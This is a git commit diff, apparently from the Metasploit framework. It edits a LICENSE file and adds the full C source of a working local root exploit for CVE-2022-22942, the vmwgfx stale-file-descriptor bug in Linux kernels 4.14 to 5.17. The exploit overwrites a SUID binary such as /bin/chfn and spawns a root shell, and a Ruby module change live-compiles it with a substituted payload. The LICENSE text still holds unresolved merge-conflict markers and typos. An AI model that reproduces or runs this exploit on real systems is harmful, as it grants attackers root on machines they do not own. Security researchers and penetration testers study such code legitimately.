Update LICENSE file and location of source file
This commit is contained in:
parent
e28ff3b160
commit
158c557d58
25
LICENSE
25
LICENSE
|
@ -238,11 +238,36 @@ Purpose: This module crashes the Xen 4.2.0 hypervisor when run in a
|
|||
paravirtualized VM. It contains a short code section licensed through
|
||||
GPL.
|
||||
|
||||
<<<<<<< HEAD
|
||||
Files: tools/exploit/metasm_shell.rb
|
||||
Copyright: 2007, Yoann GUILLOT
|
||||
License: LGPL
|
||||
Purpose: Allows users to invoke an interactive metasm shell to get opcodes from
|
||||
assembly instructions.
|
||||
=======
|
||||
Files: data/jtr/*
|
||||
Copyright: Copyright 1996-2013 by Solar Designer
|
||||
License: GNU GPL 2.0
|
||||
|
||||
Files: external/source/exploits/CVE-2022-22942/cve-2022-22942-dc.c
|
||||
Copyright: 2022 Open Source Security, Inc.
|
||||
License: GNU GPL 2.0
|
||||
Purpose: This source file is necessary for users to create a stand-alone executable
|
||||
to exploit CVE-2022-22942, a local privilege escalation vulnerability in Linuc Kernels
|
||||
Linux kernel 4.14-rc1 - 5.17-rc1.
|
||||
|
||||
Files: external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/*
|
||||
Copyright: 2011 Jon Bringhurst
|
||||
License: GNU GPL 2.0
|
||||
|
||||
Files: external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/*
|
||||
Copyright: 2020 Johnny Shaw
|
||||
License: MIT
|
||||
|
||||
Files: exteneral/source/exploits/CVE-2022-26904/*
|
||||
Copywrite: 2022 Abdelhamid Naceri
|
||||
License: MIT
|
||||
>>>>>>> 3dde5cd511 (Update LICENSE file and location of source file)
|
||||
|
||||
License: BSD-2-clause
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
|
|
@ -0,0 +1,601 @@
|
|||
/* The vmwgfx driver has a similar bug as the one we fixed last year in the
|
||||
* nitro enclaves code (https://git.kernel.org/linus/f1ce3986baa6
|
||||
* "nitro_enclaves: Fix stale file descriptors on failed usercopy").
|
||||
*
|
||||
* If the driver fails to copy the 'fence_rep' object to userland, it tries to
|
||||
* recover by deallocating the (already populated) file descriptor. This is
|
||||
* wrong, as the fd gets released via put_unused_fd() which shouldn't be used,
|
||||
* as the fd table slot was already populated via the previous call to
|
||||
* fd_install(). This leaves userland with a valid fd table entry pointing to
|
||||
* a free'd 'file' object.
|
||||
*
|
||||
* There are multiple ways to exploit this bug. A previous version of this PoC
|
||||
* dumped the contents of /etc/shadow. This one overwrites a SUID root binary
|
||||
* to pop a shell.
|
||||
*
|
||||
* Compile as:
|
||||
* $ gcc -O2 cve-2022-22942-dc.c -o cve-2022-22942-dc
|
||||
*
|
||||
* Run as (and wait for the root shell to appear):
|
||||
* $ ./cve-2022-22942-dc [target_file [temp_file [dev_node]]]
|
||||
*
|
||||
* Remarks:
|
||||
*
|
||||
* This POC assumes it has access to '/dev/dri/card0' which likely means the
|
||||
* calling user needs to be part of the 'video' group.
|
||||
*
|
||||
* Alternatively '/dev/dri/renderD128' can be used (just pass the path as
|
||||
* argument to ./cve-2022-22942-dc-dc), which, under Debian, means being part
|
||||
* of the 'render' group.
|
||||
*
|
||||
* This bug was fixed by commit a0f90c881570 ("drm/vmwgfx: Fix stale file
|
||||
* descriptors on failed usercopy"). It affected kernel versions v4.14-rc1 to
|
||||
* v5.17-rc1.
|
||||
*
|
||||
* This is CVE-2022-22942.
|
||||
*
|
||||
* (c) 2022 Open Source Security, Inc.
|
||||
*
|
||||
* - minipli
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program; if not, write to the Free Software
|
||||
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <sys/sysmacros.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <stdio.h>
|
||||
#include <err.h>
|
||||
|
||||
/* uapi/drm/drm.h */
|
||||
#define DRM_IOCTL_BASE 'd'
|
||||
#define DRM_IOW(nr,type) _IOW(DRM_IOCTL_BASE,nr,type)
|
||||
#define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type)
|
||||
#define DRM_COMMAND_BASE 0x40
|
||||
|
||||
#define DRM_IOCTL_VERSION DRM_IOWR(0x00, struct drm_version)
|
||||
struct drm_version {
|
||||
int version_major;
|
||||
int version_minor;
|
||||
int version_patchlevel;
|
||||
size_t name_len;
|
||||
char *name;
|
||||
size_t date_len;
|
||||
char *date;
|
||||
size_t desc_len;
|
||||
char *desc;
|
||||
};
|
||||
|
||||
/* uapi/drm/vmwgfx_drm.h */
|
||||
#define DRM_VMW_EXECBUF 12
|
||||
#define DRM_VMW_EXECBUF_VERSION 2
|
||||
#define DRM_VMW_EXECBUF_FLAG_EXPORT_FENCE_FD (1 << 1)
|
||||
#define DRM_VMW_INVALID_CTX_HNDL (-1)
|
||||
|
||||
#define DRM_IOCTL_VMW_EXECBUF \
|
||||
DRM_IOW(DRM_COMMAND_BASE + DRM_VMW_EXECBUF, struct drm_vmw_execbuf_arg)
|
||||
struct drm_vmw_execbuf_arg {
|
||||
uint64_t commands;
|
||||
uint32_t command_size;
|
||||
uint32_t throttle_us;
|
||||
uint64_t fence_rep;
|
||||
uint32_t version;
|
||||
uint32_t flags;
|
||||
uint32_t context_handle;
|
||||
int32_t imported_fence_fd;
|
||||
};
|
||||
|
||||
#define array_size(x) (sizeof(x)/sizeof*(x))
|
||||
|
||||
#define FENCE_REP_PTR 0x42
|
||||
#define VMWGFX_DRV_NAME "vmwgfx"
|
||||
#define VMWGFX_DEV "/dev/dri/card0"
|
||||
#define NULL_DEV "/dev/null"
|
||||
#define SUID_TARGET "/bin/chfn" // use /bin/chage for RHEL/CentOS
|
||||
#define TEMP_FILE "/var/tmp/cake"
|
||||
|
||||
static char *suid_path = SUID_TARGET;
|
||||
static char *temp_path = TEMP_FILE;
|
||||
static char *dev_path = VMWGFX_DEV;
|
||||
static char stale_fd_path[64];
|
||||
|
||||
static const void *prog_addr, *suid_addr;
|
||||
static size_t prog_size, suid_size;
|
||||
|
||||
#define NUM_FILES 32
|
||||
static int files[NUM_FILES];
|
||||
|
||||
static void open_files(const char *path, int flags, mode_t mode, bool temp) {
|
||||
unsigned int i;
|
||||
|
||||
for (i = 0; i < array_size(files); i++) {
|
||||
files[i] = open(path, flags, mode);
|
||||
if (files[i] < 0)
|
||||
err(1, "open('%s', %hx, %hx)", path, flags, mode);
|
||||
|
||||
if (temp) {
|
||||
unlink(path);
|
||||
|
||||
if (ftruncate(files[i], prog_size))
|
||||
err(1, "ftruncate()");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void close_files(unsigned int except) {
|
||||
unsigned int i;
|
||||
|
||||
for (i = 0; i < array_size(files); i++) {
|
||||
if ((unsigned int)files[i] == except)
|
||||
continue;
|
||||
|
||||
if (close(files[i]))
|
||||
err(1, "close(fd=%d)", files[i]);
|
||||
}
|
||||
}
|
||||
|
||||
static int find_file(ino_t ino) {
|
||||
struct stat buf;
|
||||
unsigned int i;
|
||||
|
||||
for (i = 0; i < array_size(files); i++) {
|
||||
if (fstat(files[i], &buf))
|
||||
err(1, "stat(fd=%d)", files[i]);
|
||||
|
||||
if (buf.st_ino == ino)
|
||||
return files[i];
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
static bool is_suid(const char *path) {
|
||||
struct stat buf;
|
||||
|
||||
if (stat(path, &buf))
|
||||
return false;
|
||||
|
||||
return buf.st_uid == 0 && (buf.st_mode & 04111) == 04111;
|
||||
}
|
||||
|
||||
static bool pin_cpu(int cpu) {
|
||||
cpu_set_t cpus;
|
||||
|
||||
CPU_ZERO(&cpus);
|
||||
CPU_SET(cpu, &cpus);
|
||||
|
||||
return !!sched_setaffinity(0, sizeof(cpus), &cpus);
|
||||
}
|
||||
|
||||
static void *map_file(const char *path, size_t *len) {
|
||||
struct stat sb;
|
||||
void *addr;
|
||||
size_t i;
|
||||
int fd;
|
||||
|
||||
printf("[~] creating r/o mapping of %s...\n", path);
|
||||
fd = open(path, O_RDONLY);
|
||||
if (fd < 0)
|
||||
err(1, "open(%s)", path);
|
||||
|
||||
if (fstat(fd, &sb))
|
||||
err(1, "stat(%s)", path);
|
||||
|
||||
*len = sb.st_size;
|
||||
addr = mmap(NULL, *len, PROT_READ, MAP_SHARED, fd, 0);
|
||||
if (addr == MAP_FAILED)
|
||||
err(1, "mmap(%s)", path);
|
||||
|
||||
/* fault in the pages to pre-load the binary */
|
||||
for (i = 0; i < *len; i += 4096)
|
||||
*(volatile char *)(addr + i);
|
||||
|
||||
close(fd);
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
static int get_stale_fd(const char *dev_path) {
|
||||
static char name[256], date[256], desc[256];
|
||||
static struct drm_version drm_info = {
|
||||
.name = name, .name_len = sizeof(name),
|
||||
.desc = desc, .desc_len = sizeof(desc),
|
||||
.date = date, .date_len = sizeof(date),
|
||||
};
|
||||
static struct drm_vmw_execbuf_arg exec_buf = {
|
||||
.version = DRM_VMW_EXECBUF_VERSION,
|
||||
.context_handle = DRM_VMW_INVALID_CTX_HNDL,
|
||||
.flags = DRM_VMW_EXECBUF_FLAG_EXPORT_FENCE_FD,
|
||||
.fence_rep = FENCE_REP_PTR,
|
||||
};
|
||||
static int vmw_fd = -1;
|
||||
int fd;
|
||||
|
||||
if (vmw_fd < 0) {
|
||||
printf("[~] vmwgfx setup using %s...\n", dev_path);
|
||||
vmw_fd = open(dev_path, O_WRONLY);
|
||||
if (vmw_fd < 0)
|
||||
err(1, "open(%s)", dev_path);
|
||||
|
||||
if (ioctl(vmw_fd, DRM_IOCTL_VERSION, &drm_info) != 0)
|
||||
err(1, "ioctl(DRM_IOCTL_VERSION) unexpectedly failed");
|
||||
|
||||
if (strcmp(drm_info.name, VMWGFX_DRV_NAME) != 0) {
|
||||
errx(1, "wrong driver, should be '%s' but is '%s'",
|
||||
VMWGFX_DRV_NAME, drm_info.name);
|
||||
}
|
||||
printf("[+] confirmed to be targeting the right driver\n");
|
||||
}
|
||||
|
||||
fd = open(NULL_DEV, O_RDONLY);
|
||||
if (fd < 0)
|
||||
err(1, "open(%s)", NULL_DEV);
|
||||
close(fd);
|
||||
printf("[~] predicted fence fd = %d\n", fd);
|
||||
snprintf(stale_fd_path, sizeof(stale_fd_path), "/proc/self/fd/%d", fd);
|
||||
|
||||
printf("[~] triggering fence fd export...\n");
|
||||
if (ioctl(vmw_fd, DRM_IOCTL_VMW_EXECBUF, &exec_buf) != 0)
|
||||
err(1, "ioctl(DRM_IOCTL_VMW_EXECBUF) unexpectedly failed");
|
||||
|
||||
return fd;
|
||||
}
|
||||
|
||||
static bool check_fd(int fd, const char *path, ino_t *ino) {
|
||||
char buf[1024];
|
||||
struct stat sb;
|
||||
ssize_t len;
|
||||
|
||||
/* Do non-faulting checks first -- using an invalid address ;) */
|
||||
errno = 0;
|
||||
if (write(fd, (void *)~0xdead, 42) >= 0 || errno != EFAULT)
|
||||
return false;
|
||||
|
||||
/* We open the file with exactly these flags */
|
||||
if ((fcntl(fd, F_GETFL) & O_RDWR) != O_RDWR)
|
||||
return false;
|
||||
|
||||
len = readlink(stale_fd_path, buf, sizeof(buf) - 1);
|
||||
if (len < 0)
|
||||
return false;
|
||||
|
||||
buf[len] = '\0';
|
||||
if (strncmp(buf, path, strlen(path)) != 0)
|
||||
return false;
|
||||
|
||||
if (fstat(fd, &sb) != 0)
|
||||
return false;
|
||||
|
||||
*ino = sb.st_ino;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
static void __read_pipe(int fd, void *buf, size_t len, const char *what, const char *caller) {
|
||||
ssize_t cnt;
|
||||
|
||||
cnt = read(fd, buf, len);
|
||||
if (cnt < 0)
|
||||
err(1, "%s: read(%s)", caller, what);
|
||||
|
||||
if (cnt == 0)
|
||||
errx(2, "%s: read(%s) EOF, other side died?", caller, what);
|
||||
|
||||
if ((size_t)cnt != len)
|
||||
errx(1, "%s: short read(%s): got %zd, want %zu", caller, what, cnt, len);
|
||||
}
|
||||
#define read_pipe(p,o) __read_pipe(p[0], &o, sizeof(o), #o, __func__)
|
||||
|
||||
static void __write_pipe(int fd, const void *buf, size_t len, const char *what, const char *caller) {
|
||||
ssize_t cnt;
|
||||
|
||||
cnt = write(fd, buf, len);
|
||||
if (cnt < 0)
|
||||
err(1, "%s: write(%s)", caller, what);
|
||||
|
||||
if (cnt == 0)
|
||||
errx(2, "%s: write(%s) EOF, other side died?", caller, what);
|
||||
|
||||
if ((size_t)cnt != len)
|
||||
errx(1, "%s: short write(%s): got %zd, want %zu", caller, what, cnt, len);
|
||||
}
|
||||
#define write_pipe(p,o) __write_pipe(p[1], &o, sizeof(o), #o, __func__)
|
||||
|
||||
static void stale_fd_worker(int pipe[2]) {
|
||||
bool write_ino = false;
|
||||
int stale_fd = -1;
|
||||
char state = '0';
|
||||
ino_t ino;
|
||||
|
||||
do {
|
||||
switch (state) {
|
||||
case '0':
|
||||
stale_fd = get_stale_fd(dev_path);
|
||||
/* ensure an RCU GP has passed and the file was returned to the cache */
|
||||
// usleep(150 * 1000);
|
||||
sleep(1);
|
||||
printf("[~] RCU GP passed and file object released -- by now or soon!\n");
|
||||
state++;
|
||||
break;
|
||||
|
||||
case '2':
|
||||
printf("[~] probing stale fd for a match...\n");
|
||||
if (check_fd(stale_fd, temp_path, &ino)) {
|
||||
write_ino = true;
|
||||
state++;
|
||||
} else {
|
||||
state--;
|
||||
}
|
||||
break;
|
||||
|
||||
case '4':
|
||||
printf("[~] closing stale fd...\n");
|
||||
/* This close will drop the reference of the mmap() of stage
|
||||
* '3' and make its file pointer dangling.
|
||||
*/
|
||||
close(stale_fd);
|
||||
|
||||
/* ensure an RCU GP has passed and the file was released to the cache */
|
||||
// usleep(150 * 1000);
|
||||
sleep(1);
|
||||
printf("[~] RCU GP passed and file object released again -- hopefully!\n");
|
||||
state++;
|
||||
break;
|
||||
|
||||
default:
|
||||
errx(1, "%s: invalid state '%c'", __func__, state);
|
||||
}
|
||||
|
||||
write_pipe(pipe, state);
|
||||
if (write_ino) {
|
||||
write_ino = false;
|
||||
write_pipe(pipe, ino);
|
||||
}
|
||||
read_pipe(pipe, state);
|
||||
} while (state < '6');
|
||||
|
||||
printf("[~] %s: done\n", __func__);
|
||||
exit(memcmp(suid_addr, prog_addr, prog_size));
|
||||
}
|
||||
|
||||
static void mmap_worker(int pipe[2]) {
|
||||
bool files_open = false;
|
||||
void *addr = NULL;
|
||||
sigset_t set;
|
||||
char state;
|
||||
ino_t ino;
|
||||
int fd;
|
||||
|
||||
do {
|
||||
read_pipe(pipe, state);
|
||||
|
||||
switch (state) {
|
||||
case '1':
|
||||
if (files_open) {
|
||||
files_open = false;
|
||||
close_files(-1);
|
||||
usleep(20 * 1000);
|
||||
}
|
||||
printf("[~] opening some r/w files for %s\n", temp_path);
|
||||
open_files(temp_path, O_RDWR | O_CREAT | O_TRUNC, 0600, true);
|
||||
files_open = true;
|
||||
state++;
|
||||
break;
|
||||
|
||||
case '3':
|
||||
/* found it! */
|
||||
read_pipe(pipe, ino);
|
||||
|
||||
fd = find_file(ino);
|
||||
if (fd < 0) {
|
||||
printf("[-] failed to find candidate with ino %#lx, retrying\n", ino);
|
||||
state = '1';
|
||||
/* no need to bounce, retry directly */
|
||||
continue;
|
||||
}
|
||||
|
||||
printf("[+] found match at fd %d\n", fd);
|
||||
close_files(fd);
|
||||
|
||||
printf("[~] creating r/w mapping...\n");
|
||||
addr = mmap(NULL, prog_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
|
||||
if (addr == MAP_FAILED)
|
||||
err(1, "mmap()");
|
||||
|
||||
close(fd);
|
||||
state++;
|
||||
break;
|
||||
|
||||
case '5':
|
||||
printf("[~] opening some r/o files for %s\n", suid_path);
|
||||
open_files(suid_path, O_RDONLY, 0, false);
|
||||
|
||||
/* We hope to have reallocated the dangling file once more! */
|
||||
printf("[*] trying to overwrite code in %s\n", suid_path);
|
||||
memcpy(addr, prog_addr, prog_size);
|
||||
//msync(addr, prog_size, MS_SYNC | MS_INVALIDATE);
|
||||
printf("[~] %s: done\n", __func__);
|
||||
state++;
|
||||
break;
|
||||
|
||||
default:
|
||||
errx(1, "%s: invalid state '%c'", __func__, state);
|
||||
}
|
||||
|
||||
write_pipe(pipe, state);
|
||||
} while (state < '6');
|
||||
|
||||
/* The 'addr' mapping is using a dangling file pointer, i.e. one with an
|
||||
* off-by-one reference count. Terminating the process will thereby lead to
|
||||
* a warning in the vfs code: "VFS: Close: file count is 0" or worse,
|
||||
* tripping over DEBUG_LIST checks leading to an Oops.
|
||||
*
|
||||
* To avoid these, turn into a ghost, detach from the process hierachy and
|
||||
* daemonize.
|
||||
*/
|
||||
//exit(memcmp(suid_addr, prog_addr, prog_size));
|
||||
|
||||
setsid();
|
||||
|
||||
close(0);
|
||||
close(1);
|
||||
close(2);
|
||||
close(pipe[0]);
|
||||
close(pipe[1]);
|
||||
prctl(PR_SET_NAME, "bogeyman", 0, 0, 0);
|
||||
|
||||
sigfillset(&set);
|
||||
sigprocmask(SIG_BLOCK, &set, NULL);
|
||||
|
||||
for (;;)
|
||||
pause();
|
||||
}
|
||||
|
||||
static void spawn_worker(void) {
|
||||
int state_fd[2][2];
|
||||
|
||||
if (pipe(state_fd[0]) < 0 || pipe(state_fd[1]) < 0)
|
||||
err(1, "pipe()");
|
||||
|
||||
switch (fork()) {
|
||||
default:
|
||||
close(state_fd[0][1]);
|
||||
close(state_fd[1][0]);
|
||||
stale_fd_worker((int [2]) { state_fd[0][0], state_fd[1][1] });
|
||||
break;
|
||||
|
||||
case 0:
|
||||
close(state_fd[0][0]);
|
||||
close(state_fd[1][1]);
|
||||
mmap_worker((int [2]) { state_fd[1][0], state_fd[0][1] });
|
||||
break;
|
||||
|
||||
case -1:
|
||||
err(1, "fork()");
|
||||
}
|
||||
|
||||
/* not reached */
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
static const char proc_self_exe[] = "/proc/self/exe";
|
||||
|
||||
if (!getuid())
|
||||
errx(1, "ahem...");
|
||||
|
||||
if (!geteuid()) {
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
execve("/bin/sh", (char *const []){ "-sh", NULL }, NULL);
|
||||
err(1, "execve(%s)", SUID_TARGET);
|
||||
}
|
||||
|
||||
if (argc >= 2)
|
||||
suid_path = argv[1];
|
||||
|
||||
if (argc >= 3)
|
||||
temp_path = argv[2];
|
||||
|
||||
if (argc >= 4)
|
||||
dev_path = argv[3];
|
||||
|
||||
if (!is_suid(suid_path))
|
||||
errx(1, "%s isn't suid root, choose another target", suid_path);
|
||||
|
||||
suid_addr = map_file(suid_path, &suid_size);
|
||||
prog_addr = map_file(proc_self_exe, &prog_size);
|
||||
|
||||
if (suid_size < prog_size) {
|
||||
errx(1, "size of %s too small, need %zuB, but only have %zuB",
|
||||
suid_path, prog_size, suid_size);
|
||||
}
|
||||
|
||||
/* Ensure all subprocesses share the same SLUB's partial lists */
|
||||
if (pin_cpu(sched_getcpu()))
|
||||
err(1, "failed to pin to CPU");
|
||||
|
||||
/* Span two subprocesses that lock step a state machine:
|
||||
* P1: triggers the bug to get a stale fd entry
|
||||
*
|
||||
* P2: opens a bunch of r/w temporary files to reallocate the file object
|
||||
*
|
||||
* P1: checks if one of the fds reallocated the dangling file pointer and
|
||||
* signals P2 which
|
||||
*
|
||||
* P2: creates a r/w mapping of the fd that matches the reallocated file
|
||||
* pointer and closes all opened files
|
||||
*
|
||||
* P1: uses its stale fd entry to put the file attached to P2's mapping to
|
||||
* make it dangling again
|
||||
*
|
||||
* P2: opens the target file r/o multiple times to reallocate the just
|
||||
* released file object
|
||||
* P2: copies this program over the previously created mapping (now
|
||||
* pointing to the victim file instead of the temporary file)
|
||||
*
|
||||
* P1: signals success / failure to the observer by checking if the victim
|
||||
* file was overwritten
|
||||
*
|
||||
* Wait for them to exit / die and check the return status. If it's zero,
|
||||
* terminate the loop, we're done.
|
||||
*/
|
||||
|
||||
/* Do the dirty work in subprocesses, to not accidentally die along */
|
||||
printf("[~] spawning helper processes...\n");
|
||||
switch (fork()) {
|
||||
case -1: err(1, "fork()");
|
||||
case 0: spawn_worker();
|
||||
}
|
||||
|
||||
retry: /* Reap all the zombies... */
|
||||
switch (wait(NULL)) {
|
||||
case -1:
|
||||
switch (errno) {
|
||||
case EINTR: goto retry;
|
||||
case ECHILD: break;
|
||||
default: err(1, "wait()");
|
||||
}
|
||||
break;
|
||||
default:
|
||||
/* continue reaping... */
|
||||
goto retry;
|
||||
}
|
||||
|
||||
if (memcmp(suid_addr, prog_addr, prog_size))
|
||||
errx(1, "failed to overwrite %s :(", suid_path);
|
||||
|
||||
printf("[$] success, spawning shell...\n");
|
||||
|
||||
/* Should be a suid root version of us by now */
|
||||
execve(suid_path, (char *const []){ suid_path, NULL }, NULL);
|
||||
err(1, "execve(%s)", suid_path);
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -136,7 +136,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
vprint_status 'Live compiling exploit on system...'
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
||||
|
||||
c_code = exploit_data('CVE-2022-22942', 'cve-2022-22942-dc.c')
|
||||
c_code = exploit_source('CVE-2022-22942', 'cve-2022-22942-dc.c')
|
||||
c_code = c_code.gsub('/dev/dri/card0', @driver) # ensure the right driver device is called
|
||||
c_code = c_code.gsub('/bin/chfn', @suid_target) # ensure we have our suid target
|
||||
c_code = c_code.gsub('/proc/self/exe', payload_path) # change exe to our payload
|
||||
|
|
Loading…
Reference in New Issue